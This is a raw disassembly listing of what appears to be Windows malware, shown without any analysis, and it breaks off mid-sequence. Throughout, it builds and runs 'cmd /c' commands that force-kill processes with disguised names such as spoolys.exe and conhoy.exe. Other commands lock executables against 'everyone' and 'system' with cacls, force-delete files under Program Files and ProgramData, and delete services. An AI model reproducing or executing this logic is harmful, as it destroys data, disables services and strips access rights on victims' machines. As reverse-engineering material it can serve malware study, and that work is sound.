push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:ProgramData_vget.vbs
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:RECYCLER_vget.vbs
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.assm.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405b9d
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_assm.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_assm.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_assm.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.SqlManagement.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405cce
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SqlManagement.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SqlManagement.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SqlManagement.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.SystemManagement.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405dff
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SystemManagement.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SystemManagement.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_SystemManagement.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.msinfo.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x405f30
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_msinfo.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_msinfo.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_msinfo.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.rundlls.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x406061
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_rundlls.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_rundlls.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_rundlls.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.conhoy.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x406192
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_conhoy.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_conhoy.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_conhoy.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.OmdBase.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4062c3
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_OmdBase.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_OmdBase.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_OmdBase.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.System.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4063f4
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_System.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_System.exe__t__e__c__d_everyone
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_Cacls_System.exe__t__e__c__d_system
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.spoolys.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x406525
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_spoolys.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.OmdBase.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4065ba
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_OmdBase.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_MakerOmdBase.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_MakerOmdBase.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_MakerOmdBase.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_MakerOmdBase.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_MakerOmdBase.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_MakerOmdBase.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_DVD_Maker_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Windows_DVD_Maker_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.GthUdTask.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x406817
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_GthUdTask.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_GthUdTaskGthUdTask.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_GthUdTaskGthUdTask.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_GthUdTaskGthUdTask.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_GthUdTaskGthUdTask.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_GthUdTaskGthUdTask.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_GthUdTaskGthUdTask.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_GthUdTask_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_GthUdTask_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.BthUdTask.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x406a74
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_BthUdTask.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_BthUdTaskBthUdTask.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_BthUdTaskBthUdTask.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_BthUdTaskBthUdTask.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_BthUdTaskBthUdTask.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_BthUdTaskBthUdTask.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_BthUdTaskBthUdTask.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_BthUdTask_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_BthUdTask_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.SvidaPctb.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x406cd1
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_SvidaPctb.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_SvidaPctbSvidaPctb.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_SvidaPctbSvidaPctb.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_SvidaPctbSvidaPctb.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q__ProgramFiles_Microsoft_SvidaPctbSvidaPctb.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_Files__x86_Microsoft_SvidaPctbSvidaPctb.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_del__f__a__q_C:Program_FilesMicrosoft_SvidaPctbSvidaPctb.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.WavesSys.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x406ec2
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_WavesSys.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_WavesSys_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_sc_delete__Corporati_Assemblies_WavesSys_
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
mov eax, str.System.exe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411db3
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x406fdb
push ebx
call fcn.00465372
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.cmd__c_taskkill__f__im_System.exe
push 3
mov ebx, 0x465810
call fcn.0046536c
add esp, 0x28
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str._ProgramFiles_Microsoft_StuSystemSystem.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_Files__x86_Microsoft_StuSystemSystem.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0xa
call fcn.00411bc3
push reloc.WS2_32.dll_connect
push 0
push str.C:Program_FilesMicrosoft_StuSystemSystem.exe
push 1
mov ebx, 0x467490
call fcn.0046536c
add esp, 0x10
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
push 0x64
call fcn.00411bc3
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
